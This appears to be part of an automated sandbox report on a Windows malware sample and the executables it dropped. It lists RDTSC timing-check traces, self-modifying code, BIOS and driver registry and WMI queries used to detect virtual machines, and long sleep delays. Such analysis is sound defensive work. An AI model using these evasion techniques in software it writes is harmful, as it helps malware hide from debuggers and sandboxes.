Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130C6F second address: 5130CBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6921h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FAE2E5AC129h 0x0000000f jmp 00007FADBDAB691Eh 0x00000014 xchg eax, esi 0x00000015 jmp 00007FADBDAB6920h 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FADBDAB691Dh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130CBB second address: 5130CD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130CD0 second address: 5130CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FADBDAB691Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130D14 second address: 5130D31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130D31 second address: 5130D37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130D37 second address: 5130D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130D3B second address: 5130D3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130D3F second address: 5130D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FADBC8905ABh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130D55 second address: 5130D5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130D5B second address: 5130D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130D5F second address: 5130D6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov dh, 09h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A45ED3 second address: A45EEA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FADBC8905B2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A44E61 second address: A44E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A44E65 second address: A44E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A44E6B second address: A44E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A44FB9 second address: A44FD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905ABh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FADBC8905A6h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A44FD2 second address: A44FF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FADBDAB6926h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A44FF3 second address: A45014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FADBC8905B4h 0x00000009 popad 0x0000000a jg 00007FADBC8905B2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A45014 second address: A45061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FADBDAB6916h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d jno 00007FADBDAB6916h 0x00000013 jmp 00007FADBDAB691Ah 0x00000018 push eax 0x00000019 pop eax 0x0000001a popad 0x0000001b ja 00007FADBDAB6924h 0x00000021 jmp 00007FADBDAB691Eh 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FADBDAB691Ah 0x0000002d jmp 00007FADBDAB691Dh 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A451D6 second address: A451E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FADBC8905ABh 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A4546E second address: A45477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A45477 second address: A45482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A45482 second address: A4549E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6920h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007FADBDAB6918h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A455E0 second address: A45605 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FADBC8905A6h 0x00000008 jmp 00007FADBC8905B3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007FADBC8905A6h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A45605 second address: A4560F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FADBDAB6916h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A4573B second address: A45758 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FADBC8905B7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A45758 second address: A4576F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FADBDAB6923h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A4576F second address: A4578E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FADBC8905B5h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A47BD3 second address: A47BDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FADBDAB6916h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A47BDE second address: A47BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A47BEB second address: A47BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FADBDAB6916h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A47BF6 second address: A47BFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A47BFC second address: A47C00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A47C00 second address: A47C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ecx 0x0000000d jmp 00007FADBC8905B9h 0x00000012 pop ecx 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A47C80 second address: A47D14 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FADBDAB6918h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007FADBDAB6918h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 movsx esi, bx 0x0000002a push 00000000h 0x0000002c pushad 0x0000002d mov dword ptr [ebp+122D1D30h], edi 0x00000033 or dword ptr [ebp+122D1D6Ch], esi 0x00000039 popad 0x0000003a push C1743AA4h 0x0000003f jmp 00007FADBDAB6921h 0x00000044 add dword ptr [esp], 3E8BC5DCh 0x0000004b and ecx, dword ptr [ebp+122D3CC5h] 0x00000051 push 00000003h 0x00000053 add dh, FFFFFF93h 0x00000056 mov dword ptr [ebp+122D1D13h], edx 0x0000005c push 00000000h 0x0000005e push 00000003h 0x00000060 js 00007FADBDAB691Ch 0x00000066 push A86DBE25h 0x0000006b pushad 0x0000006c jmp 00007FADBDAB691Fh 0x00000071 push ecx 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A47D14 second address: A47D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 xor dword ptr [esp], 686DBE25h 0x0000000d add dword ptr [ebp+122D1D9Eh], esi 0x00000013 lea ebx, dword ptr [ebp+1245BB04h] 0x00000019 mov ecx, dword ptr [ebp+122D3E2Dh] 0x0000001f xchg eax, ebx 0x00000020 pushad 0x00000021 jmp 00007FADBC8905AFh 0x00000026 jnp 00007FADBC8905A8h 0x0000002c popad 0x0000002d push eax 0x0000002e pushad 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A47DD9 second address: A47E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnc 00007FADBDAB6918h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FADBDAB6925h 0x00000012 nop 0x00000013 pushad 0x00000014 mov bx, cx 0x00000017 mov eax, ebx 0x00000019 popad 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007FADBDAB6918h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 mov dx, ax 0x00000039 or edi, dword ptr [ebp+122D3EC1h] 0x0000003f push 28BDFE9Dh 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 jmp 00007FADBDAB691Eh 0x0000004c push eax 0x0000004d pop eax 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A47E4D second address: A47E53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A47E53 second address: A47E57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A48076 second address: A4807A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A4807A second address: A48080 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A48080 second address: A4809C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007FADBC8905B4h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A4809C second address: A480A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A69ADF second address: A69AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FADBC8905A6h 0x0000000a jmp 00007FADBC8905AAh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A6831A second address: A68320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A684A3 second address: A684AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A6870C second address: A68715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A68872 second address: A68878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A68878 second address: A6889B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jno 00007FADBDAB6916h 0x0000000c popad 0x0000000d jmp 00007FADBDAB691Eh 0x00000012 jg 00007FADBDAB691Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A68AFE second address: A68B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A68B02 second address: A68B22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6924h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A6957B second address: A69587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A69587 second address: A69590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A69987 second address: A69996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jg 00007FADBC8905AEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A704D7 second address: A7052B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FADBDAB6929h 0x0000000f mov eax, dword ptr [eax] 0x00000011 jnp 00007FADBDAB6921h 0x00000017 jmp 00007FADBDAB691Bh 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FADBDAB6928h 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A7052B second address: A70530 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A6F5D7 second address: A6F5DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A74430 second address: A74435 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A35AC3 second address: A35AC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A73C85 second address: A73CB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jnl 00007FADBC8905A6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FADBC8905B5h 0x0000001a pushad 0x0000001b popad 0x0000001c jno 00007FADBC8905A6h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	RDTSC instruction interceptor: First address: A74263 second address: A74267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Special instruction interceptor: First address: C68A4F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Special instruction interceptor: First address: C68B46 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Special instruction interceptor: First address: E0B93E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Special instruction interceptor: First address: E90B6C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Special instruction interceptor: First address: 8BFF37 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Special instruction interceptor: First address: 8BD1FE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Special instruction interceptor: First address: A96FCE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Special instruction interceptor: First address: AFD554 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Special instruction interceptor: First address: 4657B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Special instruction interceptor: First address: 4EA5AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E457B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: ECA5AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Special instruction interceptor: First address: 448A9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Special instruction interceptor: First address: 5EC897 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Special instruction interceptor: First address: 66D8B2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Special instruction interceptor: First address: 5F6DE24 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Special instruction interceptor: First address: 610FC9B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Special instruction interceptor: First address: 61A4556 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe

Code function: 5_2_04A40AEC rdtsc

5_2_04A40AEC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe TID: 3096	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe TID: 7064	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3520	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7116	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1244	Thread sleep count: 338 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1244	Thread sleep time: -10140000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6356	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3176	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6008	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1244	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe TID: 5560	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe TID: 7140	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe TID: 824	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe TID: 764	Thread sleep time: -32016s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe

